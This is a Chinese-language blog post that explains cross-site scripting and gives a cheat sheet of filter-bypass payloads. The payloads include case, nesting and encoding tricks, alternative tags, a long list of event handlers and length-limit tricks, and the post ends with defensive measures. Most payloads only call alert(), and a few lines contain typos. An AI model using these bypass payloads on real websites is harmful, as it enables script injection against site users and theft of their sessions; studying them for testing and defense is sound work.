xss原理
xss産生的原因是将惡意的html腳本代碼插入web頁面,底層原理和sql注入一樣,都是因為js和php等都是解釋性語言,會将輸入的當做指令執行,是以可以注入惡意代碼執行我們想要的内容
xss分類
-
存儲型xss:
js腳本代碼會插入資料庫,具有一定的持久性
-
反射型xss:
js經過後端php等語言處理
-
dom型xss:
和反射型xss類似,但是不經過後端伺服器的處理
xss繞過總結:
自身繞過
<script>alert('xss')</script> //沒有過濾
<Script>alert('xss')</Script> //大小寫繞過
<scscriptript>alert('xss')</scscriptript> //嵌套繞過
<sc\x00ript>alert('xss')</sc\x00ript> //空位元組繞過
" oonnclick=alert('XSS') // //閉合單雙引号繞過(對于html實體輸入的和過濾< >)
其他标簽繞過
<a herf="javascript:alert(1)">show</a>
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
編碼繞過
base64編碼繞過
<a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
Unicode編碼繞過
線上編碼位址:http://tool.chinaz.com/tools/unicode.aspx
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<script>\u0061lert(1)</script>
<img src="x" onerror="alert("xss");">
url編碼繞過
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii碼繞過
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
可使用浏覽器插件快速編碼
hex繞過
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
十進制,八進制,十六進制
<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/>
<img src=x onerror=”alert(1)”/>
<img src=x onerror=”alert(1)”/>
<img src=x onerror=”eval(‘\a\l\ert(1)‘)”/>
補充:on事件
onsearch
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onabort
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformdata
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onsubmit
onsuspend
ontimeupdate
ontoggle
onvolumechange
onwaiting
onwheel
onauxclick
ongotpointercapture
onlostpointercapture
onpointerdown
onpointermove
onpointerup
onpointercancel
onpointerover
onpointerout
onpointerenter
onpointerleave
onselectstart
onselectionchange
onanimationend
onanimationiteration
onanimationstart
ontransitionend
onafterprint
onbeforeprint
onbeforeunload
onhashchange
onlanguagechange
onmessage
onmessageerror
onoffline
ononline
onpagehide
onpageshow
onpopstate
onrejectionhandled
onstorage
onunhandledrejection
onunload
長度限制的繞過:
可以利用事件如:
"onclick=alert(1)// 來減少字數
将代碼藏入location.hash中,構造為
"onclick="eval(location.hash.sustr(1))
注釋将兩個文本框變為一個
奇怪的符号解析
<svg/onload=alert()>
<script/src=//⑭.₨>
參考文章:https://nosec.org/home/detail/3206.html
xss防禦
-
設定cookie中設定httponly屬性,那麼js腳本将無法讀取到cookie資訊
PHP5(PHP5.2以上版本已支援HttpOnly參數的設定,同樣也支援全局的HttpOnly的設定,在php.ini中設定,設定其值為1或者TRUE,來開啟全局的Cookie的HttpOnly屬性)
session.cookie_httponly =
當然代碼也能實作:
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
- 限制輸入長度,在業務内減少使用者能輸入長度,像年齡,使用者名等地方限制15個字元,幾乎就很難xss(個人了解)
- 過濾業務用不到的字元如< >,script等标簽字元
- 輸出檢查,輸出到url的進行URLEncode,輸出進行html實體化輸出
- 成熟架構相對安全些(注意是相對)
參考文章
深入了解浏覽器解析機制和XSS向量編碼:http://bobao.360.cn/learning/detail/292.html
XSS過濾繞過速查表:https://www.freebuf.com/articles/web/153055.html
《白帽子講web安全》
歡迎通路我的個人部落格:https://lmg66.github.io/
說明:本文僅限技術研究與讨論,嚴禁用于非法用途,否則産生的一切後果自行承擔